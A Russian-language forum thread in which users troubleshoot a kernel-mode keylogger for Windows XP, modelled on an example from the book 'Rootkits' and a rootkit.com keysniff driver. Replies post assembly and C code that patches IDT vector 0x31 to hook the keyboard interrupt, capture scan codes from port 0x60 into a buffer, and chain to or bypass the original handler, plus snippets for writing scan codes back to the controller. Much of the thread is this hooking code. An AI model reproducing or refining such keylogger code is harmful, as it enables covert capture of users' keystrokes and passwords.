читаю книгу о rootkits, там есть пример keylogger'а работающего напрямую с железом - на 31h прерывание вешается функция keylogger'а. Попытался воспроизвести этот пример - не работает. Причина довольно банальна - в примере разбирают клавиатуру подключенную через ps/2 а у меня клавиатура usb и нет возможности подключить ничего другого (на новых компьютерах dell нет ps/2). Может можно симитировать ps/2 клавиатуру хотя-б под VMWare? Или если я хочу написать низкоуровневой keylogger для usb клавиатуры - как начать?
Хмм, странно. Достал с полки старенький бук, у него клавиатура точно по ps/2 подключена. Поставил на него XP. Запустил драйвер который вешает собстевнный обработхик прерываний на 0х31 (взято с www.rootkit.com/vault/hoglund/basic_keysniff.zip). И ... ничего. Абсолютно никаого эффекта. Может есть у кого работающий пример кейлогера вешаемого на IDT? P.S. a есть ли какая утилитка для анализа IDT - какой вектор на какой драйвер указывает?
тут надо не IDT смотреть, а APIC, потому как прерывание внешнее IDT кроме адресов обработчиков ничего не даст
да верно. Просто в случае клавиатуры обработчик находится (по крайней мере в теории) на векторе 0х31.
katrus ну если так, то Код (Text): idt_change: pushfd cli xchg ebx, dword [eax] xchg edx, dword [eax + 4] popfd ret kbd_handler_descriptor: dq 0 kbd_handler_addr: dd 0 kbd_buf: db 256 dup(0) kbd_handler: push eax in al, 0x60 out 0x60, al and eax, 0xFF inc byte [eax + kbd_buf] pop eax jmp dword [kbd_handler_addr] set_handler: push ebx push edx sidt fword [esp - 6] mov eax, dword [esp - 4] lea eax, dword [eax + 0x31 SHL 3] mov ebx, kbd_handler mov edx, ebx and ebx, 0x0000FFFF or ebx, KERNEL_CS_SELECTOR SHL 16 and edx, 0xFFFF0000 or edx, 0x8E00 call idt_change mov dword [kbd_handler_descr], ebx mov dword [kbd_handler_descr + 4], edx and ebx, 0x0000FFFF and edx, 0xFFFF0000 or ebx, edx mov dword [kbd_handler_addr], ebx pop edx pop ebx xor eax, eax ret
похоже чего то я делаю не так. Делаю даже такую тупость: __asm sidt idt_info idt_entries = (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase); __asm cli idt_entries[0х31].LowOffset = 0; idt_entries[0х31].HiOffset = 0; __asm sti Не падает! Значит патчу какойто левый вектор
Еще одна непонятка - наипростейший обаботчик клавиатуры: Код (Text): push eax in al,60h mov al,20h out 20h,al pop eax iretd Падает в BSOD моментально. В то же время код вызывающий старый обработчик работает без всяких приключений Код (Text): push eax in al,60h pop еах jmp old_kbd_handler P.S. конечная цель - сделать фильтр клавиатуры. По наступлению некого события клавиатура блокируется.
PROFi Похоже на то. А как после получения скан кода из порта 60h "сказать" контроллеру клавиатуры, что код прочитан и можно переходить к следующему? Что странно, если просто делаю in .., 60h и вслед за этим вызываю прежний обработчик - клавиатура как бы блокируется, но если быстро печатать - некоторые клавишы "проскакивают"
katrus Ты перехватываешь прерывание от клавы на себя, далее даешь отработать основному обработчику, а только потом читаешь in al,60h потому, что этот код сбросит бит - входной буфер полон и основной обработчик (если раньше выполнить in al,60h) будет считать, что прерывание не его и передаст его по цепочке далее, только вот в этой цепочке может и скорее всего никого не будет и => BSOD типа IRQL нарушен Ктати отпадает необходимость в out 20h,al
Стоп, но тогда основной обработчик поймает сканкод. А мне нужно изолировать его, т.е., считать сканкод самому, не передавая его осному драйверу.
а как же Virtual Wire Interrupt Mode? а что если так сделать Код (Text): kbd_handler: in al, 0x60 out 0x60, al jmp dword [original_handler] потому как навряд ли дождемся пока отработает основной обработчик (там в конце скорее всего идет iretd)
а что если так сделать Код (Text): push eax in al,60h and dword [0xFEE000B0], 0 pop eax iretd 0xFEE00000 - базовый физический адрес Local APIC (возможно его сначала придется отобразить на адресное пространство ядра)
Еще один вопрос: пробую записать прочитанный скан код обратно в порт Код (Text): chr = READ_PORT_UCHAR(KBD_PORT_60); WRITE_PORT_UCHAR(0x64, 0xD2); wait_kbd(); WRITE_PORT_UCHAR(0x60, chr); Функция wait_kbd() ждет пока клавиатура станет доступной Код (Text): ULONG wait_kbd() { UCHAR chr; ULONG i; for (i = 0; i < 100; i ++) // do at most 100 iterations { KeStallExecutionProcessor(500); chr = READ_PORT_UCHAR(KBD_PORT_64); if (! (chr & 0x02)) break; } return i != 100; } Видел во нескольких местах в инете подобные примеры (в частности в книге Rootkits есть такой же код). У меня все время этот код заваливатся. Пробовал поставить cli/sti - никаких изменений. Что же нужно сделать чтоб записать сканкод обратно в порт? BSOD говорит: DRIVER_IRQL_NOT_LESS_OR_EQUAL, STOP: 0x0...D1